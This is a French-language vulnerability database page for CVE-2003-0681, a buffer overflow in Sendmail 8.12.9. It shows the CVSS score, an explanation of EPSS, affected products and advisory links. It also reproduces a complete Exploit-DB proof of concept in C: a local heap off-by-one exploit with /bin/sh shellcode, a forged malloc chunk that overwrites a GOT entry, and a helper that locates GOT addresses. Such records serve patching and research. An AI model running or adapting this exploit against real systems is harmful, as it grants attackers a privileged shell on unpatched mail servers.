CVE-2003-0681 : Détail

CVE-2003-0681

1.98%V3
Network
2003-09-18
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

A "potential buffer overflow in ruleset parsing" for Sendmail 8.12.9, when using the nonstandard rulesets (1) recipient (2), final, or (3) mailer-specific envelope recipients, has unknown consequences.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 23154

Date de publication : 2003-09-16 22h00 +00:00
Auteur : Gyan Chawdhary
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/8641/info Sendmail is prone to a buffer overrun vulnerability in the prescan() function. This issue is different than the vulnerability described in BID 7230. This vulnerability could permit remote attackers to execute arbitrary code via vulnerable versions of Sendmail. */ /* Local exploit for the old sendmail vuln found by lcamtuf in 8.12.9 and below. * by Gyan Chawdhary, [email protected] * * Greets * sorbo: all the credits go to him for the ideas regarding the exploitation.. * lcamtuf: for finding such a subtle bug .. * dvorak, scut, gera .. * * Theory * The problem lies in the prescan function. When returnnull is called it does * not do a check to see if p > addr. This results into p pointing past the * array by one byte into the size field tag of the next malloc chunk * ( due to the fact that bufp is allocated in the heap. This value is assigned * to *delimptr which is used by invalidaddr in parseaddr. The invalidaddr * function checks for addresses containing characters used by macros. During * the parsing of the addrs by invalidaddr, it also checks for illegal chars * in the adress itself, and if found they are replaced with * BAD_CHAR_REPLACEMENT (depending on the size field of the allocation of our * buffer) which is defined as "?" (hex 3f) Due to the offbyone overflow in * prescan, invalidaddr modifies our chunk value which is later used by free() * when sm_free(bufp) is called, in return making sendmail vomit !!!!. * Read the code for details. * * Gyan */ #include <stdio.h> #include <stdlib.h> #include <string.h> char sc[] = "\xeb\x0a" "AAAAAAAAAA" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define CHUNK_SIZE 635 /* This function creats the string with fd and bk pointers and the shellcode. * Heap will look like this *--------------------------------------------------------------------- size = 281| |size 23f|fd|bk|shellcode|BBBBBBBB ---------------------------------------------------------------------- * When sm_free(bufp) is called it will consolidate the next buffer, and * use the fd and bk fields with our value which will allow us to overwrite */ char *xp_evilstring(int got, int retloc) { int s; char *ptr; static char buffer[635]; ptr = buffer; *( (int **)ptr ) = (int *)( got - 12 ); ptr+=4; *( (int **)ptr ) = (int *)( retloc ); ptr+=4; *ptr = '\n'; ptr++; /* The '\n' is used for allocating nother buffer in sendtolist by * denlstring which will copy our fake chunk and which will be later * on consolidated while sm_free(bufp) is called. */ memcpy(ptr, sc, strlen(sc)); ptr+=strlen(sc); memset(ptr, 'B', sizeof(buffer) - (strlen(sc)+4+4)); /* Used for having the lsb to 0 so that free() will conolidate it with * the other chunk */ buffer[635] = '\0'; ptr = buffer; s = strlen(ptr); // printf("%d\n", s); // printf("%s\n", ptr); return ptr; } /*GOT code*/ #define GREP "/bin/grep" #define OBJDUMP "/usr/bin/objdump" #define AWK "/bin/awk" int xp_getgot(const char *filename, char *function) { char command[512]; FILE *file; char got[8]; snprintf(command, sizeof(command), "%s -R %s | %s \"%s\" | %s '{print $1} '", OBJDUMP, filename, GREP, function, AWK); file = (FILE *)popen(command, "r"); fgets(got, 11, file); pclose(file); got[8] = '\0'; return (strtoul(got, NULL, 16)); } char *sendmail ="/usr/sbin/sendmail"; main(int argv, char **argc) { char *c; int got = 0x080c1a90; int retloc = 0xC0000000 - 4- strlen(sendmail) -1 - strlen(sc)-1; char *arg[] = { "owned",NULL,sc, NULL }; c = xp_evilstring(got, retloc); printf("%s\n", c); arg[1] = xp_evilstring(got, retloc); execve(sendmail,arg,NULL); }

Products Mentioned

Configuraton 0

Sendmail>>Advanced_message_server >> Version 1.2

Sendmail>>Advanced_message_server >> Version 1.3

Sendmail>>Sendmail >> Version 2.6

Sendmail>>Sendmail >> Version 2.6.1

Sendmail>>Sendmail >> Version 2.6.2

Sendmail>>Sendmail >> Version 3.0

Sendmail>>Sendmail >> Version 3.0.1

Sendmail>>Sendmail >> Version 3.0.2

Sendmail>>Sendmail >> Version 3.0.3

Sendmail>>Sendmail >> Version 8.8.8

Sendmail>>Sendmail >> Version 8.9.0

Sendmail>>Sendmail >> Version 8.9.1

Sendmail>>Sendmail >> Version 8.9.2

Sendmail>>Sendmail >> Version 8.9.3

Sendmail>>Sendmail >> Version 8.10

Sendmail>>Sendmail >> Version 8.10.1

Sendmail>>Sendmail >> Version 8.10.2

Sendmail>>Sendmail >> Version 8.11.0

Sendmail>>Sendmail >> Version 8.11.1

Sendmail>>Sendmail >> Version 8.11.2

Sendmail>>Sendmail >> Version 8.11.3

Sendmail>>Sendmail >> Version 8.11.4

Sendmail>>Sendmail >> Version 8.11.5

Sendmail>>Sendmail >> Version 8.11.6

Sendmail>>Sendmail >> Version 8.12

Sendmail>>Sendmail >> Version 8.12

Sendmail>>Sendmail >> Version 8.12

Sendmail>>Sendmail >> Version 8.12

Sendmail>>Sendmail >> Version 8.12

Sendmail>>Sendmail >> Version 8.12.0

Sendmail>>Sendmail >> Version 8.12.1

Sendmail>>Sendmail >> Version 8.12.2

Sendmail>>Sendmail >> Version 8.12.3

Sendmail>>Sendmail >> Version 8.12.4

Sendmail>>Sendmail >> Version 8.12.5

Sendmail>>Sendmail >> Version 8.12.6

Sendmail>>Sendmail >> Version 8.12.7

Sendmail>>Sendmail >> Version 8.12.8

Sendmail>>Sendmail >> Version 8.12.9

Sendmail>>Sendmail_pro >> Version 8.9.2

Sendmail>>Sendmail_pro >> Version 8.9.3

Sendmail>>Sendmail_switch >> Version 2.1

    Sendmail>>Sendmail_switch >> Version 2.1.1

      Sendmail>>Sendmail_switch >> Version 2.1.2

        Sendmail>>Sendmail_switch >> Version 2.1.3

          Sendmail>>Sendmail_switch >> Version 2.1.4

            Sendmail>>Sendmail_switch >> Version 2.1.5

              Sendmail>>Sendmail_switch >> Version 2.2

                Sendmail>>Sendmail_switch >> Version 2.2.1

                  Sendmail>>Sendmail_switch >> Version 2.2.2

                    Sendmail>>Sendmail_switch >> Version 2.2.3

                      Sendmail>>Sendmail_switch >> Version 2.2.4

                        Sendmail>>Sendmail_switch >> Version 2.2.5

                          Sendmail>>Sendmail_switch >> Version 3.0

                            Sendmail>>Sendmail_switch >> Version 3.0.1

                              Sendmail>>Sendmail_switch >> Version 3.0.2

                                Sendmail>>Sendmail_switch >> Version 3.0.3

                                  Configuraton 0

                                  Apple>>Mac_os_x >> Version 10.2

                                  Apple>>Mac_os_x >> Version 10.2.1

                                  Apple>>Mac_os_x >> Version 10.2.2

                                  Apple>>Mac_os_x >> Version 10.2.3

                                  Apple>>Mac_os_x >> Version 10.2.4

                                  Apple>>Mac_os_x >> Version 10.2.5

                                  Apple>>Mac_os_x >> Version 10.2.6

                                  Apple>>Mac_os_x_server >> Version 10.2

                                  Apple>>Mac_os_x_server >> Version 10.2.1

                                  Apple>>Mac_os_x_server >> Version 10.2.2

                                  Apple>>Mac_os_x_server >> Version 10.2.3

                                  Apple>>Mac_os_x_server >> Version 10.2.4

                                  Apple>>Mac_os_x_server >> Version 10.2.5

                                  Apple>>Mac_os_x_server >> Version 10.2.6

                                  Gentoo>>Linux >> Version 0.5

                                    Gentoo>>Linux >> Version 0.7

                                      Gentoo>>Linux >> Version 1.1a

                                        Gentoo>>Linux >> Version 1.2

                                        Gentoo>>Linux >> Version 1.4

                                        Gentoo>>Linux >> Version 1.4

                                        Gentoo>>Linux >> Version 1.4

                                        Hp>>Hp-ux >> Version 11.00

                                        Hp>>Hp-ux >> Version 11.0.4

                                        Hp>>Hp-ux >> Version 11.11

                                        Hp>>Hp-ux >> Version 11.22

                                        Ibm>>Aix >> Version 4.3.3

                                        Ibm>>Aix >> Version 5.1

                                        Ibm>>Aix >> Version 5.2

                                        Netbsd>>Netbsd >> Version 1.4.3

                                        Netbsd>>Netbsd >> Version 1.5

                                        Netbsd>>Netbsd >> Version 1.5

                                          Netbsd>>Netbsd >> Version 1.5

                                            Netbsd>>Netbsd >> Version 1.5.1

                                            Netbsd>>Netbsd >> Version 1.5.2

                                            Netbsd>>Netbsd >> Version 1.5.3

                                            Netbsd>>Netbsd >> Version 1.6

                                            Netbsd>>Netbsd >> Version 1.6

                                            Netbsd>>Netbsd >> Version 1.6.1

                                            Openbsd>>Openbsd >> Version 3.2

                                            Openbsd>>Openbsd >> Version 3.3

                                            Turbolinux>>Turbolinux_advanced_server >> Version 6.0

                                              Turbolinux>>Turbolinux_server >> Version 6.1

                                                Turbolinux>>Turbolinux_server >> Version 6.5

                                                  Turbolinux>>Turbolinux_server >> Version 7.0

                                                    Turbolinux>>Turbolinux_server >> Version 8.0

                                                      Turbolinux>>Turbolinux_workstation >> Version 6.0

                                                        Turbolinux>>Turbolinux_workstation >> Version 7.0

                                                          Turbolinux>>Turbolinux_workstation >> Version 8.0

                                                            Références

                                                            http://marc.info/?l=bugtraq&m=106398718909274&w=2
                                                            Tags : mailing-list, x_refsource_BUGTRAQ
                                                            http://www.sendmail.org/8.12.10.html
                                                            Tags : x_refsource_CONFIRM
                                                            http://www.redhat.com/support/errata/RHSA-2003-283.html
                                                            Tags : vendor-advisory, x_refsource_REDHAT
                                                            http://www.mandriva.com/security/advisories?name=MDKSA-2003:092
                                                            Tags : vendor-advisory, x_refsource_MANDRAKE
                                                            http://www.kb.cert.org/vuls/id/108964
                                                            Tags : third-party-advisory, x_refsource_CERT-VN
                                                            http://www.debian.org/security/2003/dsa-384
                                                            Tags : vendor-advisory, x_refsource_DEBIAN
                                                            http://marc.info/?l=bugtraq&m=106383437615742&w=2
                                                            Tags : mailing-list, x_refsource_BUGTRAQ
                                                            http://www.securityfocus.com/bid/8649
                                                            Tags : vdb-entry, x_refsource_BID
                                                            http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000742
                                                            Tags : vendor-advisory, x_refsource_CONECTIVA